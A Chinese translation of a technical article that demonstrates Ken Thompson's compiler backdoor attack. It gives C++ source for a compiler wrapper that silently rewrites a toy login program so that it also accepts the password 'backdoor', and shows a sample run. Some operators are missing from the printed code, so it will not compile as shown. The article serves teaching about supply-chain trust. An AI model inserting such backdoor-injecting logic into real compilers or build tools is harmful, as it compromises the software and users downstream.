作者 | Akila Welihinda
译者 | 弯月
出品 | CSDN(ID:CSDNnews)
你知道有一种编译器后门攻击是防不胜防的吗?在本文中,我将向你展示如何通过不到 100 行代码实现这样的攻击。早在 1984 年,Unix 操作系统的创始人 Ken Thompson 就曾在图灵奖获奖演讲中讨论了这种攻击。时至今日,这种攻击仍然是一个很大的威胁,而且目前还没有能够完全免疫的解决方案。XcodeGhost 是 2015 年发现的一种病毒,它就使用了 Thompson 介绍的这种后门攻击技术。我将在本文中使用 C 演示 Thompson 攻击,当然你也可以使用其他编程语言实现这种攻击。相信读完本文后,你会怀疑自己的编译器是否值得信赖。
可能你对我的这种说法深表怀疑,而且还有一连串的疑问。我想通过以下对话,解释一下Thompson 攻击的要点。
我:如何确保你的编译器老老实实地编译了你的代码,不会注入任何后门?
你:编译器的源代码通常是开源的,所以如果编译器故意留后门,肯定会有人发现。
我:但你信任的编译器的源代码最终都需要使用另一个编译器 B 进行编译。你怎么能确定 B 不会在编译期间偷偷潜入你的编译器?
你:这么说,我还需要检查 B 的源代码。但即使检查 B 的源代码会引发同一个问题,因为我还需要信任编译 B 的其他编译器。也许我可以反汇编已经编译好的可执行文件,看看有没有后门。
我:但反汇编程序也是一个需要编译的程序,所以反向编译程序也有可能有后门。受到感染的反汇编程序可能会隐藏后门。
你:这种情况实际发生的概率是多少?首先,攻击者需要构建编译器,然后用它来编译我的反汇编程序。
我:Dennis Ritchie 在创建了 C 语言后,与 Ken Thompson 联手创建了 Unix(用 C 编写)。因此,如果你使用的是 Unix,那么整个操作系统和命令行工具链都很容易受到 Thompson 攻击。
你:构建如此邪恶的编译器应该非常困难,所以这种攻击不太可能发生吧。
我:实际上,这很容易实现。下面,我就用不到 100 行代码向你展示如何实现一个邪恶的编译器。
演示你可以克隆这个代码库(https://github.com/awelm/evil-compiler),并按照以下步骤试试看 Thompson 攻击的实际效果:
首先,验证程序 Login.cpp 只接受密码“test123”;
然后,使用邪恶的编译器编译登录程序:./Compiler Login.cpp -o Login;
使用./Login 运行登录程序,然后输入密码“backdoor”。你会发现自己能够成功登录。
谨慎的用户可能会在使用恶意编译器之前,阅读一下源代码并重新编译。然而,即便是按照如下操作重新编译,依然能够利用密码“backdoor”成功登录。
验证 Compiler.cpp 是否干净(不必担心,这只是一个 10 行代码的 g 包装程序);
使用 ./Compiler Compiler.cpp -o cleanCompiler,重新编译源代码;
使用干净的编程器,通过命令./cleanCompiler Login.cpp -o Login 编译登录程序;
使用 ./Login 运行登录程序,然后验证密码“backdoor”是否有效。
下面,我们来探索如何创建这个邪恶的编译器,并隐藏它的不良行为。
创建一个干净的编译器我们无需从头开始编写编译器来演示 Thompson 攻击,这个邪恶的“编译器”只是 g 的包装程序,如下所示:
// Compiler.cpp
#include <string>
#include <cstdlib>
using namespace std;
int main(int argc, char *argv[]) {
string allArgs = "";
for(int i=1; i<argc; i )
allArgs = " " string(argv[i]);
string shellCommand = "g " allArgs;
system(shellCommand.c_str);
}
我们可以通过运行 g Compiler.cpp -o Compiler 生成编译器的二进制文件,这样就能得到一个名为“Compiler”的可执行文件。下面是我们的示例登录程序,如果输入正确的密码“test123”,你就能够以 root 身份登录程序。稍后,我们将演示如何向该程序注入后门,让它也接受密码“backdoor”。
// Login.cpp
#include <iostream>
using namespace std;
int main {
cout << "Enter password:" << endl;
string enteredPassword;
cin >> enteredPassword;
if(enteredPassword == "test123")
cout << "Successfully logged in as root" << endl;
else
cout << "Wrong password, try again." << endl;
}
我们可以使用正常的编译器来编译和运行我们的登录程序:./Compiler Login.cpp -o Login && ./Login。
请注意,我们的编译器可以使用 ./Compiler Compiler.cpp -o newCompiler 编译自己的源代码,因为我们的 C 编译器本身是用 C 编写的。因此我们的编译器是自举的,也就是说新版的编译器是使用以前的版本编译的。这是一种很常见的做法,Python、C 和 Java 都有自举编译器。自举对于我们的第三步隐藏邪恶的编译器非常重要。
注入后门下面,我们向编译器的登录程序注入一个后门,允许任何人使用密码“backdoor”登录。为了实现这一点,我们的编译器需要在编译 Login.cpp 时执行以下操作:
将 Login.cpp 复制到临时文件 LoginWithBackdoor.cpp;
修改 LoginWithBackdoor.cpp,接受密码“backdoor”,具体的方法是查找并修改所有检查密码的 if 条件;
编译 LoginWithBackdoor.cpp;
删除文件 LoginWithBackdoor.cpp。
下面是实现上述四个步骤的源代码。
// EvilCompiler.cpp
#include <string>
#include <cstdlib>
#include <regex>
#include <fstream>
#include <sstream>
#include <iostream>
using namespace std;
// This searches the file and replaces all occurrences of regexPattern with `newText`
void findAndReplace(string fileName, string regexPattern, string newText) {
ifstream fileInputStream(fileName);
stringstream fileContents;
fileContents << fileInputStream.rdbuf;
string modifiedSource = regex_replace(fileContents.str, regex(regexPattern), newText);
ofstream fileOutputStream(fileName);
fileOutputStream << modifiedSource;
fileOutputStream.close;
}
void compileLoginWithBackdoor(string allArgs) {
system("cat Login.cpp > LoginWithBackdoor.cpp");
findAndReplace(
"LoginWithBackdoor.cpp",
"enteredPassword == \"test123\"",
"enteredPassword == \"test123\" || enteredPassword == \"backdoor\""
);
string modifiedCommand = "g " regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp");
system(modifiedCommand.c_str);
remove("LoginWithBackdoor.cpp");
}
int main(int argc, char *argv[]) {
string allArgs = "";
for(int i=1; i<argc; i )
allArgs = " " string(argv[i]);
string shellCommand = "g " allArgs;
string fileName = string(argv[1]);
if(fileName == "Login.cpp")
compileLoginWithBackdoor(allArgs);
else
system(shellCommand.c_str);
}
即便登录程序的源代码只接受密码“test123”,但经过这个邪恶的编译器编译后,就可以接受密码“backdoor”了。
> g EvilCompiler.cpp -o EvilCompiler
> ./EvilCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
你可能已经注意到了,我们只需重命名 Login.cpp,这个后门攻击就可以被轻松破解。但是,邪恶的编译器可以根据文件内容来注入后门。
没有人会真正使用这个邪恶的编译器,因为任何人阅读一下源代码,就会发现它的诡计,并举报它。